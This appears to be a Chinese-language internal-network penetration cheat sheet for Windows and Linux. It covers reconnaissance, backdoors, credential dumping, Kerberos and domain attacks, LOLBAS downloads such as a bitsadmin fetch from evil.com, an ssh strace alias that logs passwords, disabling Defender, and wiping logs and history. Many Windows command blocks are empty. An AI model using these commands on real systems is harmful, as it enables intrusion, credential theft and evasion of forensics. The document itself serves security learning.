不同环境下内网渗透的相关技巧
原文地址:传送门
Windows内网渗透
信息收集
基本命令
查看主机名:
1 |
|
查询所有计算机名称:
1 |
|
查看配置以及相关补丁信息:
1 |
|
查看系统版本:
1 |
|
查看进程信息:
1 |
|
查看所有环境变量:
1 |
|
查看计划任务:
1 |
|
查看安装驱动:
1 |
|
查看操作系统信息:
1 |
|
查看逻辑盘:
1 |
|
查看安装的软件信息:
1 |
|
域信息
获取当前组的计算机名:
1 |
|
网络发现:
1 |
|
查看所有域:
1 |
|
域信任信息:
1 |
|
定位域控:
1 |
|
查看域中的用户名:
1 |
|
查询域组名称:
1 |
|
查询域管理员:
1 |
|
域控信息:
1 |
|
用户信息
查看用户:
1 |
|
用户特权信息:
1 |
|
查看当前权限:
1 |
|
查看在线用户:
1 |
|
查看当前计算机名,全名,用户名,系统版本,工作 站域,登陆域:
1 |
|
ACL信息:
1 |
|
网络信息
网卡信息:
1 |
|
ARP表:
1 |
|
路由表:
1 |
|
监听的端口:
1 |
|
端口信息:
1 |
|
DNS缓存:
1 |
|
防火墙
查看防火墙状态:
1 |
|
防火墙日志目录:
1 |
|
防火墙规则:
1 |
|
密码信息
无人值守安装文件中的密码信息:
1 |
|
持久化
隐藏文件
创建系统隐藏文件:
1 |
|
后门
sethc
sethc.exe
是 Windows系统在用户按下五次shift后调用的粘滞键处理程序,当有写文件但是没有执行权限时,可以通过替换 sethc.exe
的方式留下后门,在密码输入页面输入五次shift即可获得权限
映像劫持
在高版本的Windows中,替换程序是受到系统保护的,需要使用其他的技巧来实现替换。
具体操作为在注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option
下添加项 sethc.exe
,然后在 sethc.exe
这个项中添加 debugger
键,键值为恶意程序的路径
定时任务
Windows下有 schtasks
和 at
两种计划任务机制。 其中 at
在较高版本的Windows中已经弃用。
设置命令为 schtasks /create /tn "TEST_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
、 schtasks /create /tn "TEST_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
。删除命令为 schtasks /delete /tn "TEST_OnLogon" /f
登录脚本
Windows可以在用户登录前执行脚本,使用 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
设置。
也可在 HKCU\Environment\
路径下设置 UserInitMprLogonScript
来实现
屏幕保护程序
Windows可以自定义屏幕保护程序,使用 HKEY_CURRENT_USER\Control Panel\Desktop
设置
隐藏用户
Windows可以使用在用户名后加入 $
来创建隐藏用户,这种帐户可在一定条件下隐藏,但是仍可以通过控制面板查看。
在创建隐藏用户的基础上,可以修改注册表的方式创建影子用户,这种方式创建的用户只能通过注册表查看
CLR
CLR (Common Language Runtime Compilation) 公共语言运行时,是微软为.NET产品构建的运行环境,可以粗略地理解为.NET虚拟机。
.NET程序的运行离不开CLR,因此可以通过劫持CLR的方式实现后门
Winlogon Helper DLL后门
Winlogon是一个Windows组件,用来处理各种活动,如登录、注销、身份验证期间加载用户配置文件、关闭、锁定屏幕等。这种行为由注册表管理,该注册表定义在Windows登录期间启动哪些进程。所以可以依靠这个注册表来进行权限维持。
注册表位置如下:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
用于执行exe程序HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
用于执行exe程序HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
用于执行dll文件
自启动
基于注册表的自启动
通过在注册表中写入相应的键值可以实现程序的开机自启动,主要是 Run
和 RunOnce
,其中RunOnce和Run区别在于RunOnce的键值只作用一次,执行完毕后会自动删除。
注册表如下:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
基于策略的自启动注册表设置如下:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
设置启动文件夹注册表位置如下:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
设置服务启动项注册表位置如下:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
用户自启动位置 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
、 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
,其中 Userinit
键允许指定用逗号分隔的多个程序。
如果用户启动了屏幕保护程序,也可以通过屏幕保护程序来启动后面,相关注册表键值为:
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut
HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE
基于特定目录的自启动
自启动目录, C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
目录对特定用户生效, C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
对所有用户生效。在NT6以前,两个目录为 C:\Documents and Settings\Username\Start Menu\Programs\StartUp
/ C:\Documents and Settings\All Users\Start Menu\Programs\StartUp
权限
UAC
简介
UAC (User Account Control) 是Windows Vista 和 Windows Server 2008 引入的一个安全机制,当一些敏感操作发生时,会跳出提示显式要求系统权限。
当用户登陆Windows时,每个用户都会被授予一个access token,这个token中有security identifier (SID) 的信息,决定了用户的权限
会触发UAC的操作
- 以管理员权限启动应用
- 修改系统、UAC设置
- 修改没有权限的文件或者目录( %SystemRoot% / %ProgramFiles% 等 )
- 修改ACL (access control list)
- 安装驱动
- 增删账户,修改账户类型,激活来宾账户
ByPass
- DLL相关
- 进程注入
- 注册表
权限提升
权限提升有多重方式,有利用二进制漏洞、逻辑漏洞等技巧。利用二进制漏洞获取权限的方式是利用运行在内核态中的漏洞来执行代码。比如内核、驱动中的UAF或者其他类似的漏洞,以获得较高的权限。
逻辑漏洞主要是利用系统的一些逻辑存在问题的机制,比如有些文件夹用户可以写入,但是会以管理员权限启动。
任意写文件利用
在Windows中用户可以写的敏感位置主要有以下这些
- 用户自身的文件和目录,包括
AppData
Temp
C:\
,默认情况下用户可以写入C:\ProgramData
的子目录,默认情况下用户可以创建文件夹、写入文件C:\Windows\Temp
的子目录,默认情况下用户可以创建文件夹、写入文件
具体的ACL信息可用AccessChk, 或者PowerShell的 Get-Acl
命令查看。
可以利用对这些文件夹及其子目录的写权限,写入一些可能会被加载的dll,利用dll的加载执行来获取权限
MOF
MOF是Windows系统的一个文件( c:/windows/system32/wbem/mof/nullevt.mof
)叫做”托管对象格式”,其作用是每隔五秒就会去监控进程创建和死亡。
当拥有文件上传的权限但是没有Shell时,可以上传定制的mof文件至相应的位置,一定时间后这个mof就会被执行。
一般会采用在mof中加入一段添加管理员用户的命令的vbs脚本,当执行后就拥有了新的管理员账户
凭证窃取
Windows本地密码散列导出工具
- mimikatz
- lsass
- wce
- gsecdump
- copypwd
- Pwdump
- ProcDump
Windows本地密码破解工具
L0phtCrack
SAMInside
Ophcrack
彩虹表破解
本机hash+明文抓取
win8+win2012明文抓取
ntds.dit的导出+QuarkPwDump读取分析
vssown.vbs + libesedb + NtdsXtract
ntdsdump
利用powershell(DSInternals)分析hash
使用
net use \\%computername% /u:%username%
重置密码尝试次数限制读取时,可crash操作系统后,在蓝屏的dump文件中读取
其他
- 组策略首选项漏洞
- DLL劫持
- 替换系统工具,实现后门
- 关闭defender
Set-MpPreference -disablerealtimeMonitoring $true
痕迹清理
日志
查看日志:
1 |
|
伪造日志:
1 |
|
操作日志:
- 3389登录列表
- 文件打开日志
- 文件修改日志
- 浏览器日志
- 系统事件
- 程序安装记录
- 程序删除记录
- 程序更新记录
登录日志:
- 系统安全日志
日志路径:
- 系统日志
%SystemRoot%\System32\Winevt\Logs\System.evtx
- 安全日志
%SystemRoot%\System32\Winevt\Logs\Security.evtx
- 应用程序日志
%SystemRoot%\System32\Winevt\Logs\Application.evtx
服务日志:
- IIS
%SystemDrive%\inetpub\logs\LogFiles\W3SVC1\
注册表
- AppCompatFlags
- Background Activity Moderator (BAM)
- MuiCache
- RecentApps
- RunMRU
- ShimCache (AppCompatCache)
注册表键
- HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesEventlog
文件
Prefetch
预读取文件夹,用来存放系统已访问过的文件的预读信息,扩展名为PF。位置在 C:\Windows\Prefetch
JumpLists
记录用户最近使用的文档和应用程序,方便用户快速跳转到指定文件,位置在 %APPDATA%\Microsoft\Windows\Recent
Amcache / RecentFileCache.bcf
Windows中的使用这两个文件来跟踪具有不同可执行文件的应用程序兼容性问题,它可用于确定可执行文件首次运行的时间和最后修改时间
在Windows 7、Windows Server 2008 R2等系统中,文件保存在 C:\Windows\AppCompat\Programs\RecentFileCache.bcf
,包含程序的创建时间、上次修改时间、上次访问时间和文件名
在Windows 8、Windows 10、Windows Server 2012等系统中,文件保存在 C:\Windows\AppCompat\Programs\Amcache.hve
,包含文件大小、版本、sha1、二进制文件类型等信息
时间轴
Windows时间轴是Windows 10在1803版中引入的一个新特性,会记录访问过的网站、编辑过的文档、运行的程序等
彻底删除
- 多次覆写文件
cipher /w:<path>
- 格式化某磁盘count次
format D: /P:<count>
横向移动
常见入口
- SMB弱密码
- SqlServer弱密码
LOLBAS
简介
LOLBAS,全称Living Off The Land Binaries and Scripts (and also Libraries),是一种白利用方式,是在2013年DerbyCon由Christopher Campbell和Matt Graeber发现,最终Philip Goh提出的概念
这些程序一般有有Microsoft或第三方认证机构的签名,但是除了可以完成正常的功能,也能够被用于内网渗透中。这些程序可能会被用于:下载安全恶意程序、执行恶意代码、绕过UAC、绕过程序控制等
常见程序
appsyncvpublishing.exe
- 执行powershell
bitsadmin.exe
- 下载文件
bitsadmin /create 1 bitsadmin /addfile 1 https://evil.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
cdb.exe
certutil.exe
- 可安装、备份、删除、管理和执行证书
- 证书存储相关功能
- 下载文件
certutil -urlcache -split -f https://addr/example.exe
- 注意 certutil 是有cache的,需要显式删除
- base64 编解码
certutil -encode
/certutil -decode
cmd.exe
cmstp.exe
control.exe
csc.exe
- 编译 C# 载荷
cscript.exe
- 执行脚本
extexport.exe
expand.exe
- 展开一个或多个压缩文件
forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe
mofcomp.exe
makecab.exe
msbuild.exe
- 构建应用程序
mshta.exe
- HTML应用
msiexec.exe
- 安装msi
- 加载dll
msxsl.exe
- 处理XSL程序
netsh.exe
installutil.exe
- 安装/卸载程序组件
IEExec.exe
- .NET Framework附带程序
powershell.exe
psexec.exe
reg.exe
- 注册表控制台
regedit.exe
- 注册表修改
regsvr32.exe
- 注册动态链接库/ActiveX控件
rundll32.exe
- 执行DLL文件中的内部函数
sc.exe
- 查看服务状态管理
schtasks.exe
- 定时计划任务
shred
- 重复写入文件,防止文件恢复
type.exe
- 利用ads隐藏文件
type <filepath> <target_file:ads>
wmic.exe
- Windows管理工具
windbg.exe
winrm.exe
wscript.exe
- 脚本引擎
waitfor.exe
- 用于同步网络中计算机,可以发送或等待系统上的信号
MSPRC
MSRPC (Microsoft Remote Procedure Call) 是微软对 DCE/RPC 协议的修改实现,用于支持Windows系统中应用程序的远程网络调用。
MSRPC所使用的端口有 UDP 135 和 TCP 139 / 445 。
MSRPC 可以用于
- 用户遍历
- 服务遍历
- 凭证导出
- 横向移动
- 权限提升
域渗透
用户组与工作组
用户
Windows系统存在一些为了特定用途而设置的用户,分别是:SYSTEM(系统)、Trustedinstaller(信任程序模块)、Everyone(所有人)、Creator Owner(创建者)等,这些特殊用户不属于任何用户组,是完全独立的账户。其中SYSTEM拥有整台计算机管理权限的账户,一般操作无法获取与它等价的权限
用户组
Windows系统内置了许多本地用户组,用于管理用户权限。只要用户账户加入到对应的用户组内,则用户账户也将具备对应用户组所拥有的权限
默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限。这些组为:管理员组(Administrators)、高权限用户组(Power Users)、普通用户组(Users)、备份操作组(Backup Operators)、文件复制组(Replicator)、来宾用户组(Guests)、身份验证用户组(Authenticated Users)
工作组
工作组(Workgroup)是最常用最简单最普遍的资源管理模式,默认情况下计算机都在名为workgroup的工作组中。工作组模式比较松散,适合网络中计算机数量较少,不需要严格管理的情况
域中用户
域用户
域环境中的用户和本地用户的帐户不同,域用户帐户保存在活动目录中。在域环境中,一个域用户可以在域中的任何一台计算机上登录。在域中用户可以使用SID (Security Identifier) 来表明身份,用NTLM哈希或者Kerberos来验证身份
机器用户
机器用户也被称作机器账号或计算机账号,所有加入域的主机都会有一个机器用户,机器用户的用户名以 $
结尾
组策略
组策略(Group Policy)用于控制用户帐户和计算机帐户的工作环境。组策略提供了操作系统、应用程序和活动目录中用户设置的集中化管理和配置。其中本地的组策略(LGPO或LocalGPO),可以在独立且非域的计算机上管理组策略对象。在域环境中的组策略通常被称作GPO(Group Policy Object)
内网常用协议
Windows查询名称解析的顺序为DNS、mDNS、LLMNR、NBNS
NetBIOS
NetBIOS(Network Basic Input/Output System)是基于网络的交互协议,通常使用UDP 137、UDP 138、TCP 139等端口。Windows在安装TCP/IP协议时会默认启用该协议,可能导致未设置权限校验的网络资源被访问
基于NetBIOS有NBNS (NetBIOS Name Service)服务,通常监听在UDP 137端口,该服务提供三种功能:将NetBIOS名称解析到IP、查询某一个NetBIOS节点的状态,注册/释放一个NetBIOS名
可以使用 nbtstat
工具利用NetBIOS协议管理网络
LLMNR
链路本地多播名称解析 (Link-Local Multicast Name Resolution, LLMNR)是一个基于DNS数据包格式的协议,IPv4和IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析。该协议在Windows Vista后被引入。 LLMNR监听UDP 5355端口,可以通过多播地址 224.0.0.252 (或 FF02:0:0:0:0:0:1:3
) 访问
mDNS
mDNS (multicast DNS) 在Windows 10中被引入,监听UDP 5353端口,对应的多播地址为 224.0.0.251 ( FF02::FB
) 。mDNS主要实现了在没有传统DNS服务器的情况下使局域网内的主机实现相互发现和通信
WPAD
网络代理自动发现协议 (Web Proxy Auto-Discovery, WPAD) 是一种客户端使用DHCP和/或DNS发现方法来定位一个配置文件URL的方法。在检测和下载配置文件后,它可以执行配置文件以测定特定URL应使用的代理
域
域指将网络中多台计算机逻辑上组织到一起,进行集中管理的逻辑环境。域是组织与存储资源的核心管理单元,在域中,至少有一台域控制器,域控制器中保存着整个域的用户帐号和安全数据库
域结构
域树
域树(Trees)由多个域组成,这些域共享同一表结构和配置,形成一个连续的命名空间(namespace)
林
林(Forests)是一个复杂的AD实例,由一个或数个域组成,每个域树都有自己唯一的名称空间
域控制器
ADDS的目录存储在域控制器(Domain Controller)内,一个域内可以有多台域控制器,每一个域控制器的地位几乎是平等的,有几乎相同的数据库
在一台域控制器添加一个用户账户后,这个账户会被自动复制到其他域控制器的数据库中
AD数据库有多主机复制模式(Multi-master Replication Model)和单主机复制模式(Sing-master Replication Model)
多主机模式可以直接更新任何一台域控制器内的AD对象,并将更新之后的对象复制到其他域控制器,大部分数据都是用多主机模式进行复制
单主机复制模式是指由一台被称作操作主机(Operations Master)的域控制器负责接收更改数据的请求,并将数据复制到其他的域控制器
信任
两个域之间需要创建信任关系,才可以访问对应域内的资源
域信任类型
Active Directory的信任方式可以分为以下几种:
Tree-Root Trust
- 双向具有转移性
Parent-Child Trust
- 具有转移性,双向行人
Forest Trust
- 如果两个林创建了信任关系,则林中所有的域都相互信任
- 两个林之间的信任关系无法自动扩展到其他林上
Realm Trust
- ADDS域可以和非Windows系统的Kerberos域之间创建信任
External Trust
- 位于两个林内的域之间可以通过外部信任来创建信任关系
Shortcut Trust
- 可以缩短验证用户身份的时间
OU
组织单位(Organization Unit,OU)是一个容器对象,将域中的对象组织成逻辑组,帮助管理员管理。OU包含用户、计算机、工作组、打印机、安全策略以及其他组织单位等
Active Directory
活动目录 (Active Directory,AD) 是面向Windows Server的目录服务。Active Directory存储了有关网络对象的信息,并且让管理员和用户能够查找和使用这些信息
ADDS
Active Directory提供目录服务的组件被称作Active Directory域服务 (Active Directory Domain Services, ADDS) ,负责目录数据库的存储、增删改查等工作,可以用在多种局域网、广域网的场景中
从逻辑上看,ADDS的组件可以分为Partition、Schema、Domain、Domain tree、Forest、OU、Container
Partition也被称为naming context,是AD DS数据库的一部分。Schema是存储在 ADDS 中数据的定义。Container是为ADDS提供组织框架的对象
从实现上区分,ADDS可以分为Domain controller、Data store、Global catalog server、RODC (Read-only domain controller) 、Site、Subnet
每个域控制器都有完整的ADDS数据,每个域控都可以处理数据的修改并同步至其他的域控
域控会有一份数据拷贝 (Data store) ,默认存储在 C:\Windows\NTDS
目录下
Global catalog server是存储全局catalog的域控,catlog以只读的方式存储了一个multiple-domain forest的所有对象,用于加速搜索
名称空间
名称空间 (namespace) 是一块界定好的区域,在区域内可以用名称找到与之相关的信息
对象与属性
ADDS内的资源都是以对象 (Object) 的形式存在的,对象通过属性 (Attrbute) 来描述其特征
ADCS
介绍
Active Directory 证书服务 (Active Directory Certificate Services,AD CS) 是微软用于实现 PKI 的服务
证书
ADCS 中的证书是 X.509 格式的数字签名文档,用于加密、签名或身份验证等
证书常用的属性由下述字段组成
- Subject:主题
- Public Key:公钥
- Extended Key Usages (EKUs):扩展密钥,描述证书的对象标识符 (Object identifier, OID)
常用的 EKU OID 包括:
代码签名
- OID 1.3.6.1.5.5.7.3.3
- 证书用于签署可执行代码
加密文件系统
- OID 1.3.6.1.4.1.311.10.3.4
- 证书用于加密文件系统
安全电子邮件
- OID 1.3.6.1.5.5.7.3.4
- 证书用于加密电子邮件
客户端身份验证
- OID 1.3.6.1.5.5.7.3.2
智能卡登录
- OID 1.3.6.1.4.1.311.20.2.2
服务器认证
- OID 1.3.6.1.5.5.7.3.1
- 证书用于识别服务器 (例如HTTPS 证书)
证书模板
微软提供了证书模板的功能,方便在域内签发证书。证书模板是注册策略和预定义证书设置的集合,包含证书有效期、用途、申请者等信息
证书注册
证书可以通过以下几种方式注册:
- 通过 Windows 客户端证书注册协议 (MS-WCCE)
- 通过 ICertPassage 远程协议 (MS-ICPR)
- 在 ADCS 开启了对应 Web 服务的情况下,使用 Web 服务注册
- 在服务器安装了对应服务时,通过证书注册服务 (CES) 注册
- 在服务器安装了对应服务时,使用网络设备注册服务
组策略
简介
组策略 (Group Policy, GP) 用于管理网络环境中的用户和设备,定义了系统管理员管理工作所要的各种模板组件
组策略有以下功能:
- 管理注册表
- 设置脚本
- 重定向文件夹
- 管理应用程序
- 指定安全选项
常用概念
组策略容器 (Group Policy Container,GPC)存储在活动目录中,包含GPO属性、配置信息和版本等。可以通过GPC来查找GPT
组策略模板 (Group Policy Template, GPT) 存储在域控中,包含所有的组策略信息。包括管理模板,安全,脚本,软件安装等
其中GPC中的信息量少、容量小,GPT中消息量较大、容量大,因此两个部分分开存放。防止活动目录中因存储了过多的数据而被影响性能
组策略对象 (Group Policy Object, GPO) 是包含多种Windows组策略设置的集合,存储在GPC和GPT中
Kerberos的Windows实现
相关定义
SPN
服务主体名称 (ServicePrincipal Names, SPN) ,是服务实例(如HTTP、SMB等)的唯一标识符
SPN分为两种类型:一种是注册在活动目录的机器帐户下,当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户下。一种是注册在活动目录的域用户帐户下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户下
域内攻击思路
获取域控权限
- 通过域控相关漏洞
- 抓hash,尤其是域管理员、运维等高权限账号的哈希
控制入域机器
- 下发恶意策略控制
- 获取域内用户凭证
- 利用错误的域管理配置
- 域内relay
获取服务票据
- 攻击Exchange等服务器
攻击类型
黄金票据利用
在认证过程中,经过client与AS的通信会得到TGT,黄金票据(Golden Ticket)就是伪造票据授予票据(TGT),也被称为认证票据
黄金票据利用需要与DC通信,且需要获取krbtgt的hash,但是可以获取任何Kerbose服务权限
白银票据利用
白银票据(Silver Tickets)伪造利用的是Kerberos认证中的第三个步骤,在第三步的时候,client会带着ticket向server的某个服务进行请求,如果验证通过就可以访问server上的指定服务了,这里的ticket是基于client info、server session key、end time、server hash。这里client info已知,end time可以构造,server session key是TGS生成的,所以只要server的NTLM hash即可。银票伪造的是TGS,只能访问指定的服务
DCSync 攻击
域内有多台域控服务器时,为了同步域控服务器的修改,微软提供了基于远程目录协议 DRSR 的同步机制
在多个域控服务器之间,每隔一段时间会有一次域数据的同步。由需要同步的域控服务器向其它服务器发送 GetNCChanges 请求,请求中包含需要同步的数据。数据量较多时,则重复这个过程
DCSync 就是使用这种机制进行域渗透的技术,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,在2015年添加到 mimikatz 的一个功能,可以导出域内所有用户的hash
这种方式需要满足以下任一一种权限:
- Administrators 组内的用户
- Domain Admins 组内的用户
- Enterprise Admins 组内的用户
- 域控制器的计算机帐户
或者拥有特定的几条 DACL:
- DS-Replication-Get-Changes
- DS-Replication-Get-Changes-All
- DS-Replication-Get-Changes-In-Filtered-Set
当没有管理员用户,但是拥有 WriteDACL 权限时,可以写入上述 DACL 来完成 DCSync
对于这种攻击,可以通过检测 GetNCChanges 发起者的方式,如果由非域控机器发起对应请求,则可以认为是 DCSync 攻击
DCShadow 攻击
DCShadow是由来自法国的安全研究人员Benjamin Delpy和Vincent Le Toux在2018年的微软蓝帽(Blue Hat)大会上提出
DCShadow攻击指在Active Directory环境下创建一个恶意的域控制器,并用它来推送恶意对象
哈希传递攻击
哈希传递攻击(Pass-the-Hash,PTH)是通过传递NTLM哈希来认证的攻击方法,常用的工具有mimikatz等
票据传递攻击
票据传递攻击(Pass-the-Ticket Attacks,PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法。PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单
Kerberoasting Attacks
Kerberoasting攻击由Tim Medin在2014 DerbyCon conference上 公开 。指域内的任何一台主机,都可以通过查询SPN,Kerberoasting即是向域内的所有服务请求TGS,然后进行暴力破解
Roasting AS-REP
该攻击枚举域中不需要Kerberos预身份认证的帐户,向这些账户请求一条加密信息,并离线尝试获取到的账户哈希。该方式需要账户明确设置了 DONT_REQ_PREAUTH
Kerberos Delegation Attacks
在一个域中,A使用Kerberos身份验证访问服务B,B再使用A的身份去访问C,这个过程就可以理解为委派。委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两种,非约束委派可以访问域内任意其它服务,约束委派对认证做了限制不可以访问其他的服务
Kerberos Delegation(Kerberos委派)攻击分为非约束委派攻击和约束委派攻击。原理都是基于域内已经配置了委派的账户来获取其它账户的权限
其他漏洞利用
- 域用户提权 (CVE-2022-26923)
- KDC bamboozling (CVE-2021-42287)
- Name impersonation (CVE-2021-42278)
- ProxyShell (CVE-2021-34473)
- ProxyLogon (CVE-2021-26855)
- PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
- SMBGhost (CVE-2020-0796)
- Zerologon (CVE-2020-1472)
- NTLM Relay (CVE-2019-1040)
- 永恒之蓝 (MS17-010)
- 域用户提权 (MS14-068)
- Gpp漏洞 (MS14-025)
- SAMR协议漏洞 (MS14-016)
防护
- 使用ATA等商业化防护工具
- 安装杀毒软件、EDR等工具
- 关闭高危服务
- 统一配置防火墙策略
- 对域控等高危账号使用白名单进行行为管理
检测高危操作
- 权限提升
- 高危账号密码修改、重置
行为频率建模
- 对大量尝试登录/信息查询进行报警
对特定攻击行为进行监控
- 通过GPO下发自启动、计划任务
Linux内网渗透
信息收集
获取内核、操作系统和设备信息
版本信息
uname -a
所有版本uname -r
内核版本信息uname -n
系统主机名字uname -m
Linux内核架构
内核信息
cat /proc/version
CPU信息
cat /proc/cpuinfo
发布信息
cat /etc/*-release
cat /etc/issue
主机名
hostname
文件系统
df -a
内核日志
dmesg
//var/log/dmesg
用户和组
列出系统所有用户
cat /etc/passwd
列出系统所有组
cat /etc/group
列出所有用户hash(root)
cat /etc/shadow
查询用户的基本信息
finger
当前登录的用户
users
who -a
/var/log/utmp
查询无密码用户
grep 'x:0:' /etc/passwd
目前登录的用户
w
登入过的用户信息
last
//var/log/wtmp
显示系统中所有用户最近一次登录信息
lastlog
//var/log/lastlog
登录成功日志
/var/log/secure
登录失败日志
/var/log/faillog
查看特权用户
grep :0 /etc/passwd
查看passwd最后修改时间
ls -l /etc/passwd
查看是否存在空口令用户
awk -F: 'length($2)==0 {print $1}' /etc/shadow
查看远程登录的账号
awk '/\$1|\$6/{print $1}' /etc/shadow
查看具有sudo权限的用户
cat /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
用户和权限信息
- 当前用户
whoami
- 当前用户信息
id
- 可以使用sudo提升到root的用户(root)
cat /etc/sudoers
- 列出目前用户可执行与无法执行的指令
sudo -l
环境信息
- 打印系统环境信息
env
- 打印系统环境信息
set
- 环境变量中的路径信息
echo $PATH
- 打印历史命令
history
/~/.bash_history
- 显示当前路径
pwd
- 显示默认系统遍历
cat /etc/profile
- 显示可用的shell
cat /etc/shells
进程信息
- 查看进程信息
ps aux
- 资源占有情况
top -c
- 查看进程关联文件
lsof -c $PID
- 完整命令行信息
/proc/$PID/cmdline
- 进程的命令名
/proc/$PID/comm
- 进程当前工作目录的符号链接
/proc/$PID/cwd
- 运行程序的符号链接
/proc/$PID/exe
- 进程的环境变量
/proc/$PID/environ
- 进程打开文件的情况
/proc/$PID/fd
服务信息
- 由inetd管理的服务列表
cat /etc/inetd.conf
- 由xinetd管理的服务列表
cat /etc/xinetd.conf
- nfs服务器的配置
cat /etc/exports
- 邮件信息
/var/log/mailog
- ssh配置
sshd_config
计划任务
- 显示指定用户的计划作业(root)
crontab -l -u %user%
计划任务
/var/spool/cron/*
/var/spool/anacron/*
/etc/crontab
/etc/anacrontab
/etc/cron.*
/etc/anacrontab
开机启动项
/etc/rc.d/init.d/
网络、路由和通信
- 列出网络接口信息
/sbin/ifconfig -a
/ip addr show
- 列出网络接口信息
cat /etc/network/interfaces
- 查看系统arp表
arp -a
- 打印路由信息
route
/ip ro show
- 查看dns配置信息
cat /etc/resolv.conf
- 打印本地端口开放信息
netstat -an
- 列出iptable的配置规则
iptables -L
- 查看端口服务映射
cat /etc/services
- Hostname
hostname -f
- 查看进程端口情况
netstat -anltp | grep $PID
已安装程序
rpm -qa --last
Redhatyum list | grep installed
CentOSls -l /etc/yum.repos.d/
dpkg -l
Debiancat /etc/apt/sources.list
Debian APTpkg_info
xBSDpkginfo
Solarispacman -Q
Arch Linuxemerge
Gentoo
文件
- 最近五天的文件
find / -ctime +1 -ctime -5
- 文件系统细节
debugfs
公私钥信息
~/.ssh
/etc/ssh
日志
/var/log/boot.log
/var/log/cron
/var/log/faillog
/var/log/lastlog
/var/log/messages
/var/log/secure
/var/log/syslog
/var/log/syslog
/var/log/wtmp
/var/log/wtmp
/var/run/utmp
虚拟环境检测
lsmod | grep -i "vboxsf\|vboxguest"
lsmod | grep -i "vmw_baloon\|vmxnet"
lsmod | grep -i "xen-vbd\|xen-vnif"
lsmod | grep -i "virtio_pci\|virtio_net"
lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"
容器内信息收集
capsh --print
cat /proc/1/cgroup
env | grep KUBE
ls -l .dockerenv
ls -l /run/secrets/Kubernetes.io/
mount
ps aux
持久化
权限提升
- 内核漏洞利用
- 攻击有root权限的服务
- 利用第三方服务提权
通过有SUID属性的可执行文件
- 查找可能提权的可执行文件
find / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
利用可用的root权限
sudo -l
自启动
- /etc/init.d
- /etc/rc.d/rc.local
- ~/.bashrc
- ~/.zshrc
后门
ssh 后门
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
- 后门账户
常见应用
ICMP
DNS
icmp后门
后门端口复用
.
开头隐藏文件rootkit
痕迹清理
历史命令
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;
kill -9 $$
kill historyhistory -c
- 在
HISTSIZE=0
中设置HISTSIZE=0
清除/修改日志文件
/var/log/btmp
/var/log/lastlog
/var/log/wtmp
/var/log/utmp
/var/log/secure
/var/log/message
登录痕迹
删除
~/.ssh/known_hosts
中记录修改文件时间戳
touch –r
删除tmp目录临时文件
操作痕迹
- vim 不记录历史命令
:set history=0
- ssh 登录痕迹,无痕登录
ssh -T user@host /bin/bash -i
- ssh 登录痕迹,无痕登录
覆写文件
- shred
- dd
- wipe
难点
